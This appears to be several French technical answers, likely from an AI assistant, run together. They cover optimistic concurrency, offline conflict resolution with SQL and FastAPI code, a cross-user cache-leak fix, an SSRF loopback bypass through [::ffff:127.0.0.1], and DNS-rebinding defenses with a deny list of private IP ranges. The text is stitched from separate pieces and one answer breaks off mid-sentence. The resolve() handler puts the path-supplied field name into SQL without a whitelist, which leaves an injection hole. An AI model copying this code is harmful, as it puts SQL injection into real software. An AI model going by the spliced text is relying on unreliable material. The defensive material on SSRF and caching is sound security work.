│ ├─ collision de champ ....... arbitrage utilisateur
│ └─ delta invalidé ........... abandon motifé + notification
└─ 4. PATCH/PUT avec précondition v9 + clé d'idempotence
├─ 2xx ..... succès, mémoriser le nouveau jeton (v10)
└─ 409 ..... retour en 2, compteur++ , backoff, max 3
```
## Vérification à mettre en place
- Test d'intégration : deux clients lisent la version 8, le premier commite (→ 9), le second doit recevoir le rejet et **aucune** de ses valeurs ne doit apparaître en base avant rebase.
- Test de non-régression sur la perte de mise à jour : après résolution, les deux modifications disjointes doivent être présentes simultanément en version 10.
- Assertion sur le plafond de tentatives : sous conflit permanent simulé, la boucle doit s'arrêter et remonter une erreur exploitable.
- Vérification que le jeton de version est bien réémis par le serveur à chaque écriture réussie, sinon le mécanisme se désynchronise silencieusement.
## Risques et limites, énoncés explicitement
- **Fenêtre time-of-check to time-of-use** : si la validation et le commit ne sont pas une opération atomique côté serveur, un conflit peut se glisser entre les deux ; l'article cité met explicitement en garde contre ce défaut (source : Wikipédia EN, *Optimistic concurrency control*, phase « Commit/Rollback »).
- **Sémantique exacte du code HTTP** : je n'ai pas lu ici la spécification HTTP ni l'article de liste des codes de statut. Le choix entre 409 et 412 pour un échec de précondition de version relève de cette spécification et je ne peux pas l'établir de façon sourcée dans cette réponse. Je ne dispose donc pas d'une source vérifiée sur ce point précis ; à confirmer dans la RFC HTTP applicable et dans le contrat de votre API.
- **La fusion automatique par champs disjoints n'est pas sûre en général** : deux champs distincts peuvent être liés par un invariant métier (par exemple un total et ses composantes). Le rebase automatique doit être autorisé champ par champ, sur la base d'invariants explicitement déclarés, jamais par défaut sur tout le document.
- **Contention élevée** : si les 409 sont fréquents et non rares, l'OCC n'est plus le bon outil ; l'article indique qu'en cas de contention fréquente d'autres méthodes de contrôle de concurrence peuvent être mieux adaptées, tout en rappelant que le verrouillage pessimiste dégrade lui aussi la concurrence effective (source : Wikipédia EN, *Optimistic concurrency control*, section introductive).
- **Le succès d'une requête n'est pas le succès de l'intention** : un code 2xx sur la resoumission prouve que l'écriture a été acceptée sur la base v9, non que la fusion était sémantiquement correcte. Seuls les tests métier et la relecture le vérifient.## 1. Diagnostic
Deux répliques ont divergé à partir d'un même ancêtre commun, la version 12, sur le même champ, avec des valeurs différentes. C'est le cas canonique de la réplication optimiste, où les répliques sont autorisées à diverger et où une réconciliation explicite est ensuite requise, réconciliation qui peut se révéler difficile voire insoluble automatiquement (Wikipedia EN, « Optimistic replication »). Le refus du last-write-wins signifie que l'horodatage n'est pas un arbitre admissible, ce qui est cohérent : deux écritures concurrentes sont incomparables causalement, et le first-write-wins, c'est-à-dire privilégier l'appareil qui synchronise le premier, est tout aussi arbitraire que le LWW.
Point de rigueur : les deux modifications sont **concurrentes**, non ordonnées. Aucune n'est « plus récente » au sens causal, même si une horloge murale les distingue.
## 2. Décision recommandée : conflit matérialisé, version canonique gelée
| Élément demandé | Réponse |
|---|---|
| **Détection** | Écriture conditionnelle sur `base_version` : les deux requêtes déclarent `base_version = 12`. La seconde n'est plus en avance sur l'état canonique, et le champ visé porte déjà une écriture concurrente issue du même ancêtre, avec empreinte de valeur normalisée différente. |
| **État** | Enregistrement en état `CONFLICT` (non résolu), avec 2 candidats frères conservés intégralement : `cand-A` (appareil A) et `cand-B` (appareil B), tous deux de parent `v12`. Le champ n'est pas écrasé, aucune valeur n'est perdue. |
| **Action utilisateur** | Choix explicite parmi : garder A, garder B, saisir une valeur fusionnée ou tierce, ou annuler et conserver la valeur 12. Le choix est soumis comme une écriture normale, conditionnée par l'identifiant du conflit et la liste exacte des candidats vus. |
| **Version finale avant choix** | **12**. La version canonique reste inchangée tant que l'utilisateur n'a pas tranché. La résolution seule alloue la **version 13**, avec pour parents `{12, cand-A, cand-B}`. |
Justification du gel à 12 : si le serveur acceptait la première arrivée en v13 puis rejetait la seconde, il appliquerait un first-write-wins déguisé et introduirait une lecture intermédiaire trompeuse pour les autres clients. Geler la version canonique garantit qu'aucune écriture concurrente n'est promue par le hasard du réseau.
**Variante à connaître, si votre serveur applique un OCC HTTP strict** : HTTP fournit une forme intégrée de contrôle de concurrence optimiste, l'`ETag` renvoyé au GET étant réutilisé en `If-Match` au PUT, toute requête portant un `ETag` périmé étant rejetée (Wikipedia EN, « Optimistic concurrency control »). Dans ce schéma, A passe et devient v13, B reçoit un échec de précondition, et la version finale avant choix est alors **13**, la valeur de B ne survivant que dans la file locale de l'appareil B. C'est acceptable mais moins sûr : la survie de la valeur de B dépend du client. Je recommande la première conception.
## 3. Modèle de données et contrat d'API
```sql
-- Etat canonique du profil
CREATE TABLE profile (
user_id uuid PRIMARY KEY,
version bigint NOT NULL, -- 12 ici
state text NOT NULL DEFAULT 'CLEAN'
CHECK (state IN ('CLEAN','CONFLICT')),
display_name text,
updated_at timestamptz NOT NULL DEFAULT now()
);
-- Candidats concurrents non resolus (frères)
CREATE TABLE profile_conflict_candidate (
candidate_id uuid PRIMARY KEY,
user_id uuid NOT NULL REFERENCES profile(user_id) ON DELETE CASCADE,
field text NOT NULL,
base_version bigint NOT NULL, -- 12
value text,
value_digest bytea NOT NULL, -- SHA-256 de la valeur normalisee
device_id text NOT NULL,
edit_id uuid NOT NULL, -- cle d'idempotence client
received_at timestamptz NOT NULL DEFAULT now(),
UNIQUE (user_id, field, device_id, edit_id)
);
CREATE INDEX ON profile_conflict_candidate (user_id, field);
```
Réponse du serveur à la seconde synchronisation, en `409 Conflict` avec la description du conflit (la liste des codes HTTP est documentée dans Wikipedia EN, « List of HTTP status codes ») :
```json
{
"error": "conflict",
"user_id": "…",
"field": "display_name",
"canonical_version": 12,
"state": "CONFLICT",
"conflict_id": "c-7f3a…",
"candidates": [
{"candidate_id": "cand-A", "value": "Aurélie C. L.", "device_id": "dev-A", "base_version": 12},
{"candidate_id": "cand-B", "value": "A. Charlotte Luylier", "device_id": "dev-B", "base_version": 12}
],
"resolution": {
"endpoint": "POST /v1/profile/display_name:resolve",
"requires": ["conflict_id", "candidate_set_digest", "choice"]
}
}
```
Le `candidate_set_digest` est indispensable : il empêche l'utilisateur de résoudre un conflit à 2 candidats alors qu'un 3e appareil en a ajouté un pendant l'affichage de la boîte de dialogue. C'est la protection contre le décalage entre l'instant du contrôle et l'instant de l'usage (time-of-check to time-of-use), risque explicitement signalé pour la phase de validation en OCC (Wikipedia EN, « Optimistic concurrency control »).
## 4. Logique serveur, ingestion d'une écriture hors ligne
```python
# ingest.py -- pseudo-production, FastAPI + psycopg (requetes parametrees)
import hashlib, uuid
from fastapi import APIRouter, HTTPException
router = APIRouter()
def digest(value: str | None) -> bytes:
# Normalisation explicite avant empreinte : evite les faux conflits
norm = "" if value is None else " ".join(value.strip().split())
return hashlib.sha256(norm.encode("utf-8")).digest()
@router.put("/v1/profile/{field}")
def push_offline_edit(field: str, body: dict, conn=None, user_id=None):
if field not in {"display_name", "bio", "locale"}:
raise HTTPException(400, "champ non autorise") # liste blanche
base_version = int(body["base_version"])
value = body.get("value")
device_id = str(body["device_id"])
edit_id = str(uuid.UUID(str(body["edit_id"]))) # valide le format
d = digest(value)
with conn.transaction():
row = conn.execute(
"SELECT version, state, %s FROM profile "
"WHERE user_id = %%s FOR UPDATE" % field, (user_id,)
).fetchone()
if row is None:
raise HTTPException(404, "profil inconnu")
cur_version, state, cur_value = row
# 0) Idempotence : rejeu du meme edit par le meme appareil
already = conn.execute(
"SELECT candidate_id FROM profile_conflict_candidate "
"WHERE user_id=%s AND field=%s AND device_id=%s AND edit_id=%s",
(user_id, field, device_id, edit_id)).fetchone()
if already:
return conflict_payload(conn, user_id, field, cur_version)
# 1) Convergence silencieuse : meme valeur, pas de conflit
if d == digest(cur_value):
return {"status": "noop", "version": cur_version, "state": state}
# 2) Avance rapide legitime : personne n'a bouge depuis la base du client
if state == "CLEAN" and base_version == cur_version:
conn.execute(
"UPDATE profile SET %s=%%s, version=version+1, updated_at=now() "
"WHERE user_id=%%s AND version=%%s" % field,
(value, user_id, cur_version))
return {"status": "applied", "version": cur_version + 1, "state": "CLEAN"}
# 3) Base perimee ou conflit deja ouvert : on materialise, on n'ecrase pas
if base_version > cur_version:
raise HTTPException(422, "base_version anterieure impossible")
conn.execute(
"INSERT INTO profile_conflict_candidate "
"(candidate_id, user_id, field, base_version, value, value_digest, "
" device_id, edit_id) VALUES (%s,%s,%s,%s,%s,%s,%s,%s) "
"ON CONFLICT (user_id, field, device_id, edit_id) DO NOTHING",
(uuid.uuid4(), user_id, field, base_version, value, d,
device_id, edit_id))
conn.execute("UPDATE profile SET state='CONFLICT' WHERE user_id=%s",
(user_id,))
raise HTTPException(409, detail=conflict_payload(conn, user_id, field, cur_version))
```
Point crucial pour votre question : dans le cas d'arrivée séquentielle, la branche 2 accepterait A en v13. Si vous voulez le gel strict à 12, il faut, dès la première arrivée, transformer l'écriture en candidat lorsque le champ est marqué comme susceptible de conflit, ou plus simplement retarder l'avance rapide d'une fenêtre de convergence, par exemple jusqu'à la fin de la fenêtre de synchronisation du lot hors ligne. C'est un compromis explicite : gel strict et zéro promotion arbitraire d'un côté, latence de publication de l'autre.
## 5. Résolution par l'utilisateur
```python
@router.post("/v1/profile/{field}:resolve")
def resolve(field: str, body: dict, conn=None, user_id=None):
conflict_id = body["conflict_id"]
seen_digest = body["candidate_set_digest"]
choice = body["choice"] # "candidate" | "custom" | "keep_base"
with conn.transaction():
row = conn.execute("SELECT version FROM profile WHERE user_id=%s "
"FOR UPDATE", (user_id,)).fetchone()
cur_version = row[0] # 12
cands = conn.execute(
"SELECT candidate_id, value, value_digest "
"FROM profile_conflict_candidate "
"WHERE user_id=%s AND field=%s ORDER BY candidate_id",
(user_id, field)).fetchall()
live_digest = hashlib.sha256(
b"".join(c[2] for c in cands)).hexdigest()
if live_digest != seen_digest:
# Un nouveau candidat est arrive : on refuse et on rejoue l'ecran
raise HTTPException(409, "ensemble de candidats modifie, rechargez")
if choice == "candidate":
wanted = body["candidate_id"]
match = [c for c in cands if str(c[0]) == wanted]
if not match:
raise HTTPException(400, "candidat inconnu")
new_value = match[0][1]
elif choice == "custom":
new_value = body["value"]
elif choice == "keep_base":
new_value = conn.execute(
"SELECT %s FROM profile WHERE user_id=%%s" % field,
(user_id,)).fetchone()[0]
else:
raise HTTPException(400, "choix invalide")
conn.execute(
"UPDATE profile SET %s=%%s, version=version+1, state='CLEAN', "
"updated_at=now() WHERE user_id=%%s AND version=%%s" % field,
(new_value, user_id, cur_version))
# Archivage avant purge : tracabilite du conflit
conn.execute(
"INSERT INTO profile_conflict_archive "
"SELECT *, %s FROM profile_conflict_candidate "
"WHERE user_id=%s AND field=%s", (cur_version + 1, user_id, field))
conn.execute("DELETE FROM profile_conflict_candidate "
"WHERE user_id=%s AND field=%s", (user_id, field))
return {"status": "resolved", "version": cur_version + 1, # 13
"state": "CLEAN", "parents": [cur_version] + [str(c[0]) for c in cands]}
```
Aucune suppression n'est faite avant archivage, conformément au principe de réversibilité.
## 6. Interface utilisateur, exigences minimales
- Présenter les deux valeurs côte à côte, sans en préselectionner une, avec l'appareil d'origine et l'heure de saisie donnée comme information et non comme critère de décision.
- Diff caractère par caractère quand le champ est textuel long, pour rendre la fusion réalisable.
- Trois boutons au minimum, plus un champ libre : « garder celle de cet appareil », « garder celle de l'autre », « saisir une valeur », « annuler et garder la valeur du serveur ».
- Accessibilité : contraste conforme, navigation clavier complète, chaque option porte un libellé explicite, l'état de conflit annoncé par `aria-live`.
- Blocage doux : le profil reste lisible, seul le champ en conflit est marqué, pas de modale bloquante plein écran.
## 7. Vérification
Tests à assertions réelles, sans branche vide :
1. `test_two_offline_edits_same_base` : A et B poussent `base_version=12` avec valeurs différentes. Assertions : `state == 'CONFLICT'`, nombre de candidats égal à 2, `version == 12`, les deux valeurs sont récupérables.
2. `test_identical_values_no_conflict` : A et B poussent la même valeur normalisée. Assertion : `state == 'CLEAN'`, un seul incrément de version au plus, aucun candidat.
3. `test_replay_idempotent` : A rejoue trois fois le même `edit_id`. Assertion : 1 seul candidat, aucune version consommée.
4. `test_resolution_allocates_13` : résolution vers la valeur de B. Assertions : `version == 13`, valeur canonique égale à celle de B, archive contient 2 lignes, table des candidats vide.
5. `test_stale_candidate_set_rejected` : un 3e appareil ajoute un candidat entre l'affichage et la résolution. Assertion : `409`, version toujours à 12.
6. `test_no_timestamp_arbitration` : injecter une horloge d'appareil très avancée sur B. Assertion : le résultat est identique au test 1, la valeur de B n'est pas promue automatiquement.
7. Test de propriété : pour toute permutation d'ordre d'arrivée des deux poussées, l'état final avant résolution est identique. Attention, un test de propriété sur un échantillon fini ne prouve pas la commutativité en général ; la garantie doit venir de l'invariant « aucune écriture concurrente ne modifie le champ canonique », vérifié par revue de code et par la contrainte `WHERE version = %s` sur chaque `UPDATE`.
Contrôle en base après incident, requête de diagnostic :
```sql
SELECT p.user_id, p.version, p.state, count(c.candidate_id) AS candidats
FROM profile p LEFT JOIN profile_conflict_candidate c USING (user_id)
GROUP BY 1,2,3 HAVING p.state = 'CONFLICT';
```
## 8. Risques et limites
- **Conflit non résolu durablement.** Un appareil perdu laisse un conflit ouvert indéfiniment. Prévoir une politique de péremption documentée, jamais une résolution silencieuse par défaut.
- **Multiplication des candidats.** Avec n appareils, n candidats peuvent s'accumuler. Plafonner et refuser au-delà, avec message explicite, plutôt que dégrader.
- **Faux conflits.** Sans normalisation stable (espaces, casse selon le champ, forme Unicode), le système signalera des conflits inexistants. La normalisation doit être identique côté client et serveur, et versionnée.
- **Cohérence applicative.** Une lecture peut afficher la v12 alors que l'utilisateur a saisi autre chose## 1. Diagnostic : quelle est la fuite
Le cache stocke une réponse **dépendante de l'identité** sous une clé qui **n'encode pas l'identité**. La séquence est la suivante :
1. Alice s'authentifie, le serveur rend `/account` avec ses données (nom, e-mail, solde, commandes, éventuellement un jeton CSRF ou un identifiant de session inclus dans le HTML).
2. Le cache enregistre l'entrée sous la clé `("GET", "/account")`.
3. Bob demande `GET /account`. Le cache trouve une correspondance de clé, ne consulte ni le cookie ni l'en-tête `Authorization`, et **sert le HTML d'Alice à Bob**.
Nature de la faille, avec le vocabulaire précis :
| Dimension | Impact |
|---|---|
| Confidentialité | Violée : divulgation de données personnelles d'Alice à Bob (fuite inter-tenant / cross-user). |
| Contrôle d'accès | Contourné : l'autorisation est vérifiée au rendu, puis court-circuitée par le cache. C'est un défaut d'autorisation **par omission de la clé**, pas une élévation de privilège classique. |
| Intégrité | Non violée directement, mais un jeton CSRF ou un identifiant de session recopié dans le HTML servi peut permettre une usurpation, donc un impact d'authenticité **conditionnel** à ce que contient la page. |
| Disponibilité | Non affectée. |
Deux points de rigueur, à ne pas confondre :
- Si Bob **n'est pas authentifié** et reçoit tout de même la page, il y a en plus contournement complet du contrôle d'accès (la vérification de session n'a jamais été exécutée pour lui).
- Le sens de la fuite est **asymétrique et non déterministe** : selon qui remplit le cache le premier, n'importe quel utilisateur peut voir les données de n'importe quel autre. C'est donc une fuite N vers N, pas seulement Alice vers Bob.
Ce que je **ne peux pas** affirmer sans voir votre code : l'étendue exacte des données exposées, la présence d'un jeton CSRF ou d'un cookie dans la réponse mise en cache, et l'existence d'autres routes affectées. Cela relève de l'audit décrit en section 5.
## 2. La clé manquante
La clé de cache est réduite à la ressource. Il manque la **dimension d'identité (principal)**, et en pratique plusieurs autres axes de variance :
$$K_{\text{actuelle}} = (\text{méthode}, \text{URL})$$
$$K_{\text{correcte}} = (\text{méthode}, \text{URL}, \underbrace{\text{principal}}_{\text{manquant, critique}}, \text{rôle/permissions}, \text{tenant}, \text{locale}, \text{devise}, \text{variante A/B}, \text{Accept-Encoding})$$
Précision importante sur la mise en œuvre : la clé doit contenir un **identifiant d'utilisateur stable et opaque** (par exemple un hachage du `user_id` interne), **jamais le cookie de session brut ni le jeton**. Deux raisons :
- un secret ne doit pas transiter dans une clé de cache, qui est souvent journalisée ou inspectable par les opérateurs ;
- la session tourne (rotation, renouvellement) alors que l'identité reste la même, sinon le taux de réussite du cache s'effondre.
Écrire naïvement `Vary: Cookie` fonctionne au sens de la correction, mais dégrade le cache jusqu'à l'inutilité, car tout cookie analytique fait varier la clé. C'est une rustine acceptable en urgence, pas une cible.
## 3. Politique de cache recommandée
Le principe directeur est la **classification de la réponse avant toute décision de cache**, avec refus par défaut (fail closed) : une réponse non classifiée est traitée comme privée et non cachable.
| Classe de réponse | Politique | En-têtes |
|---|---|---|
| Authentifiée, données personnelles (`/account`, panier, admin) | **Ne pas mettre en cache partagé.** Cache privé navigateur seulement si réellement utile | `Cache-Control: private, no-store` (ou `private, max-age=0, must-revalidate`) |
| Authentifiée mais identique pour tous les utilisateurs d'un rôle | Cache partagé **avec clé incluant le rôle et le tenant** | `Cache-Control: private` côté client, cache serveur à clé enrichie |
| Publique, anonyme (accueil, fiche produit, catalogue) | Cache partagé plein régime, revalidation en arrière-plan | `Cache-Control: public, s-maxage=..., stale-while-revalidate=...` |
| Publique mais personnalisée en surface | Coque publique cachée + îlots personnalisés chargés côté client après authentification | `public` sur la coque, `no-store` sur l'API personnalisée |
Règles complémentaires, toutes de bon usage en production :
- **Aucune réponse portant `Set-Cookie` ne doit entrer dans un cache partagé.** Un cookie de session recopié à un autre visiteur produit une usurpation de session directe. À traiter comme une interdiction absolue dans la couche de cache.
- Réponses aux requêtes portant `Authorization` ou un cookie de session : non cachables en partagé sauf déclaration explicite et clé complète.
- Ne jamais mettre en cache une réponse d'état non `200`/`304` sur une route sensible, et surtout pas les `302` de redirection d'authentification.
- Purge et invalidation à la déconnexion, au changement de rôle et à la mutation de données, avec un préfixe de clé par utilisateur pour permettre une invalidation ciblée.
- Interdire le cache sur les réponses contenant un jeton CSRF ; le jeton doit être injecté hors cache (cookie double-submit ou point d'API dédié).
- Séparer explicitement les couches : navigateur, CDN, cache SSR applicatif. Une politique correcte au niveau SSR ne protège pas si le CDN applique sa propre clé par URL seule.
## 4. Correction immédiate
Ordre d'exécution, du plus urgent au plus structurant. Les deux premières étapes arrêtent la fuite, les suivantes rétablissent la performance.
**Étape 1, colmatage (minutes).** Interdire le cache sur les routes authentifiées et **purger le cache existant**, car il contient déjà des données d'Alice. La purge est indispensable : sans elle, la correction n'empêche pas de servir les entrées déjà empoisonnées.
Middleware, exemple Express, à placer avant le rendu SSR :
```js
// Liste blanche des routes publiquement cachables. Tout le reste est prive par defaut.
const PUBLIC_CACHEABLE = [/^\/$/, /^\/products(\/[\w-]+)?$/, /^\/blog\//];
function cachePolicy(req, res, next) {
const isPublicRoute = PUBLIC_CACHEABLE.some((re) => re.test(req.path));
const isAuthenticated = Boolean(req.session?.userId || req.get('authorization'));
if (isAuthenticated || !isPublicRoute) {
// Refus par defaut : aucune mise en cache partagee.
res.set('Cache-Control', 'private, no-store, max-age=0, must-revalidate');
res.set('Vary', 'Cookie, Authorization');
res.set('CDN-Cache-Control', 'no-store'); // couche CDN, independante
} else {
res.set('Cache-Control', 'public, max-age=0, s-maxage=300, stale-while-revalidate=60');
res.set('Vary', 'Accept-Encoding');
}
next();
}
```
Garde-fou de sortie, à ajouter dans la couche de cache elle-même, pour ne pas dépendre de la discipline des développeurs :
```js
function isStorableInSharedCache(req, res) {
if (res.get('Set-Cookie')) return false; // interdiction absolue
if (req.get('authorization') || req.session?.userId) return false;
const cc = (res.get('Cache-Control') || '').toLowerCase();
if (cc.includes('private') || cc.includes('no-store')) return false;
if (res.statusCode !== 200) return false;
return true;
}
```
**Étape 2, purge et vérification.** Vider intégralement le cache SSR et le cache CDN pour les routes concernées. Une invalidation partielle par URL est insuffisante si vous ne savez pas encore quelles URL ont été polluées, ce qui plaide pour une purge globale en urgence, opération non destructive de données métier et donc à faible risque.
**Étape 3, clé enrichie (jours).** Rétablir le cache là où il a de la valeur, avec une clé qui encode l'identité :
```js
const crypto = require('crypto');
function cacheKey(req) {
const principal = req.session?.userId
? crypto.createHash('sha256')
.update(`${process.env.CACHE_KEY_PEPPER}:${req.session.userId}`)
.digest('base64url')
: 'anon';
const role = req.session?.role ?? 'anon';
const tenant = req.session?.tenantId ?? 'public';
return [req.method, req.path, tenant, role, principal, req.get('accept-encoding') || ''].join('|');
}
```
Le poivre (`CACHE_KEY_PEPPER`) provient d'un coffre à secrets, jamais du code. Le hachage évite d'exposer des identifiants internes dans les journaux du cache ; ce n'est pas une mesure de confidentialité forte, seulement une réduction d'exposition.
**Étape 4, architecture cible.** Pour retrouver un taux de réussite élevé sans risque : coque HTML publique mise en cache agressivement, plus hydratation des données personnelles par un appel client vers une API en `no-store`. Le contenu personnalisé n'entre alors jamais dans un cache partagé, ce qui supprime la classe entière de bogues plutôt que ce cas particulier.
## 5. Vérification
Ne considérez pas la correction acquise sur la base d'un test manuel réussi. Un nombre fini de vérifications ne démontre pas une propriété universelle ; il faut un invariant appliqué dans le code (le garde-fou de l'étape 1) **plus** des tests de régression.
Test d'intégration minimal, avec assertion réelle :
```js
test('la reponse authentifiee ne fuit pas vers un autre utilisateur', async () => {
const alice = await login('alice');
const r1 = await request(app).get('/account').set('Cookie', alice.cookie);
expect(r1.text).toContain('[email protected]');
expect(r1.headers['cache-control']).toMatch(/no-store/);
const bob = await login('bob');
const r2 = await request(app).get('/account').set('Cookie', bob.cookie);
expect(r2.text).not.toContain('[email protected]'); // assertion centrale
expect(r2.text).toContain('[email protected]');
const anon = await request(app).get('/account');
expect([301, 302, 401, 403]).toContain(anon.status); // aucun contenu servi
});
```
Contrôles complémentaires à exécuter :
- Sur toutes les routes, vérifier qu'aucune réponse portant `Set-Cookie` n'est stockée en partagé (test automatisé parcourant la table de routage).
- Inspecter les en-têtes de réponse du CDN (`Age`, `X-Cache` ou équivalent selon le fournisseur) pour confirmer qu'une route privée n'est jamais servie depuis le cache.
- Rechercher dans les journaux d'accès historiques les réponses `/account` servies depuis le cache, afin d'estimer l'exposition passée.
## 6. Risques résiduels et limites
Je ne qualifie pas cette correction de « sans risque ». Points restants :
1. **Exposition passée déjà consommée.** La purge arrête la fuite future, elle n'annule pas les divulgations déjà survenues. Selon les données concernées et votre juridiction, une violation de données personnelles peut déclencher des obligations de notification au titre du RGPD. Ceci est une remarque de prudence, pas un avis juridique ; faites qualifier l'incident par votre responsable de la protection des données.
2. **Couches multiples.** Une politique correcte au niveau SSR reste insuffisante si un CDN, un reverse proxy ou un service worker applique sa propre clé. Chaque couche doit être auditée séparément.
3. **Perte de performance.** Passer les routes authentifiées en `no-store` augmente la charge d'origine. Mesurez avant et après ; l'architecture de l'étape 4 est la voie de compensation.
4. **Autres axes de variance non traités.** Locale, devise, variante A/B et thème peuvent produire des incohérences fonctionnelles, moins graves qu'une fuite mais réelles.
5. **Le hachage de l'identifiant dans la clé** réduit l'exposition dans les journaux sans constituer une protection cryptographique de la confidentialité ; le cache lui-même contient toujours les données en clair et doit être protégé en conséquence (accès restreint, chiffrement au repos si le support le permet).
Note de méthode : ma recherche dans l'encyclopédie locale LANXAS n'a retourné aucun article pertinent sur la sémantique du cache HTTP, la réponse ci-dessus repose donc sur les principes d'ingénierie et de sécurité applicative, non sur une citation vérifiée. La sémantique normative de `private`, `no-store`, `s-maxage` et `Vary` est définie par la spécification HTTP de mise en cache ; je vous invite à la consulter directement plutôt qu'à vous fier à ma restitution de mémoire.- **Représentation** : `[::ffff:127.0.0.1]` est un littéral IPv6 entre crochets dans une URL. L’adresse `::ffff:127.0.0.1` est une adresse IPv4-mappée en IPv6, dont les $32$ derniers bits représentent l’adresse IPv4 `127.0.0.1` (RFC 3986, § 3.2.2 ; RFC 4291, § 2.5.5.2). - **Destination réelle** : `127.0.0.1` appartient au bloc de bouclage IPv4 `127.0.0.0/8`. Avec une pile prenant en charge les adresses IPv4-mappées, la requête vise donc l’hôte local, sous réserve du comportement exact de la bibliothèque réseau et du système d’exploitation utilisés (RFC 1122, § 3.2.1.3 ; RFC 4291, § 2.5.5.2). - **Défaut** : le filtre compare vraisemblablement une représentation textuelle précise, `127.0.0.1`, au lieu d’analyser et de classifier sémantiquement l’adresse. Cette validation est contournable par des représentations IPv6, IPv4-mappées, des résolutions DNS ou des redirections menant à une adresse interdite (OWASP, « Server Side Request Forgery Prevention Cheat Sheet »). - **Correction** : 1. analyser l’URL avec une bibliothèque conforme, sans comparaison textuelle artisanale ; 2. n’autoriser que `http` et `https`, ou appliquer une liste blanche plus restrictive ; 3. résoudre le nom et contrôler toutes les adresses IPv4 et IPv6 obtenues ; 4. normaliser les adresses IPv4-mappées, notamment `::ffff:x.x.x.x`, vers leur adresse IPv4 avant classification ; 5. refuser les plages de bouclage, privées, link-local, multicast, non spécifiées et réservées, notamment `127.0.0.0/8`, `::1/128`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `fc00::/7` et `fe80::/10` ; 6. refaire ces contrôles après chaque redirection ; 7. connecter la requête uniquement à l’adresse déjà validée, afin de limiter le DNS rebinding ; 8. compléter le contrôle applicatif par des règles réseau de sortie refusant l’accès aux services internes et aux métadonnées d’infrastructure (IANA, « IPv4 Special-Purpose Address Registry » et « IPv6 Special-Purpose Address Registry » ; OWASP, « Server Side Request Forgery Prevention Cheat Sheet »). **Correction minimale décisive** : parser l’hôte comme une adresse IP, convertir toute adresse IPv4-mappée en IPv4, puis rejeter `127.0.0.0/8` avant d’établir la connexion (RFC 4291, § 2.5.5.2 ; OWASP, « Server Side Request Forgery Prevention Cheat Sheet »).
## 1. Diagnostic : quelle est l'attaque
Il s'agit d'un **DNS rebinding appliqué côté serveur, exploité comme contournement d'un contrôle anti-SSRF**, c'est à dire une faille de type TOCTOU (time-of-check to time-of-use) sur la résolution de nom.
Mécanique :
1. L'attaquant enregistre un domaine dont il contrôle le serveur DNS autoritaire et le configure avec un **TTL très court, empêchant la mise en cache de la réponse** (source : article Wikipédia EN « DNS rebinding »).
2. Il soumet `https://webhook.attaquant.tld/...` à votre plateforme. Au moment du contrôle, son DNS répond une **IP publique** : votre validation passe.
3. Au moment de l'envoi réel, la même requête DNS renvoie **10.0.0.5**, adresse du réseau privé RFC 1918 (plage `10.0.0.0/8`). Votre serveur émet alors lui-même la requête vers votre réseau interne.
4. C'est exactement le patron SSRF : « la vulnérabilité apparaît quand un point d'API accède à une URL fournie par le client sans vérifier que la requête est dirigée vers la destination prévue », et l'OWASP mentionne explicitement que des garde-fous supplémentaires restent nécessaires pour traiter **la résolution de nom, les redirections et les DNS rebindings** (source : article Wikipédia EN « Server-side request forgery », citant l'OWASP Cheat Sheet).
Impact potentiel selon le même article : atteinte aux réseaux internes, aux services en localhost, aux **points de métadonnées cloud**, utilisation du serveur comme proxy, exfiltration si la réponse est renvoyée à l'attaquant (SSRF « basic ») ou attaque en aveugle sinon (SSRF « blind »). Précédent documenté : Capital One en 2019, où un SSRF a exposé une clé d'identifiants AWS (même source).
Variantes qui produisent le même effet sans DNS malveillant, à traiter ensemble :
- réponse multi-enregistrements A (une IP publique + une IP privée) dont vous ne validez que la première ;
- redirection HTTP 30x après validation, vers `http://10.0.0.5/` ou vers l'endpoint de métadonnées ;
- IP privée encodée (décimal, octal, hexadécimal, IPv4-mapped IPv6, `userinfo@`) si votre parsing est faible.
## 2. La fenêtre d'exploitation
La fenêtre est l'intervalle **entre la vérification DNS et l'établissement effectif de la connexion TCP**. Il faut la mesurer, pas la supposer.
| Cas d'architecture | Fenêtre réelle | Exploitabilité |
|---|---|---|
| Validation puis envoi dans le même appel, résolution refaite par le client HTTP | quelques millisecondes à quelques secondes | exploitable, l'attaquant alterne les réponses DNS ou fixe TTL très bas |
| Validation à l'enregistrement du webhook, envois ultérieurs | heures à mois, **fenêtre pratiquement illimitée** | exploitation triviale et rejouable |
| File d'attente ou retry asynchrone entre contrôle et envoi | latence de la file, plus les retries | exploitable, et chaque retry rouvre la fenêtre |
Deux points de rigueur :
- Le scénario que vous décrivez, DNS public au contrôle puis 10.0.0.5 à l'envoi, **prouve seulement qu'il y a deux résolutions distinctes**. Il n'établit pas à lui seul l'intention malveillante : une reconfiguration DNS légitime, un split-horizon DNS, ou un CNAME modifié produisent la même observation. La conclusion sûre est : le contrôle est structurellement inefficace, indépendamment de l'intention.
- Réduire la fenêtre ne corrige pas la faille. Toute fenêtre non nulle reste exploitable par répétition ; c'est un raisonnement par invariant, pas par mesure empirique : seule la suppression de la seconde résolution non contrôlée ferme le problème.
## 3. Défense réseau (couche 3/4, indépendante de l'application)
Principe : refus par défaut en sortie, et hypothèse que l'application **finira** par émettre une requête hostile.
- **Egress deny-by-default** depuis les workers d'envoi de webhooks : seule la sortie vers Internet via un proxy dédié est autorisée, aucune route vers les préfixes internes. L'OWASP recommande la **ségrégation réseau pour bloquer le trafic non autorisé à la couche réseau** quand le serveur doit joindre des domaines arbitraires (source : article Wikipédia EN « Server-side request forgery »).
- Isolement des workers dans un segment ou VPC dédié, sans peering vers les réseaux d'administration ni vers les bases de données.
- Blocage explicite en sortie des plages non routables et sensibles : `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16` (dont l'endpoint de métadonnées cloud), `172.16.0.0/12`, `192.168.0.0/16`, `224.0.0.0/4`, ainsi que `::1`, `fc00::/7`, `fe80::/10` et les adresses IPv4-mapped. Ces plages sont les plages privées et spéciales standard de l'adressage IP ; je ne les ai pas revérifiées dans une source hors ligne ici, considérez-les comme du savoir d'ingénierie standard à confirmer sur les RFC 1918, 3927, 6598 et 4193.
- **Durcissement du service de métadonnées** (mode à jeton, type IMDSv2, hop limit à 1) pour que même une requête sortie du périmètre ne rende pas de credentials. Hypothèse : vous êtes en cloud ; sans cela, ce point est sans objet.
